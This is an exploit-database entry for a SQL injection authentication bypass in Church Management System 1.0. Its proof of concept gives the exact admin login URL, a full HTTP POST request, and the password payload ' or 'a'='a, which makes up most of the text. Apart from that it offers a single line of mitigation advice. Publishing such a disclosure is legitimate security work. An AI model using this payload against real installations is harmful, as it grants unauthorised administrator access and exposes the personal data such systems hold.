Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)

vendor:

Church Management System

by:

Murat DEMIRCI

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Church Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:church_management_system:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10

2021

Church Management System 1.0 – ‘password’ SQL Injection (Authentication Bypass)

The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication by sending a POST request with a username of 'test' and a password of ' or 'a'='a'

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :

1-Go to http://target.com/cman/admin
2-Write the following payload to username and admin parameter and click login.

######################## REQUEST ###############################

POST /cman/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/admin/index.php
Cookie: PHPSESSID=cne5l4cs93krjqobput7nv7sjc
Upgrade-Insecure-Requests: 1

username=test&password=%27+or+%27a%27%3D%27a&login=

################################################################

PAYLOAD:

# username : test
# password : ' or 'a'='a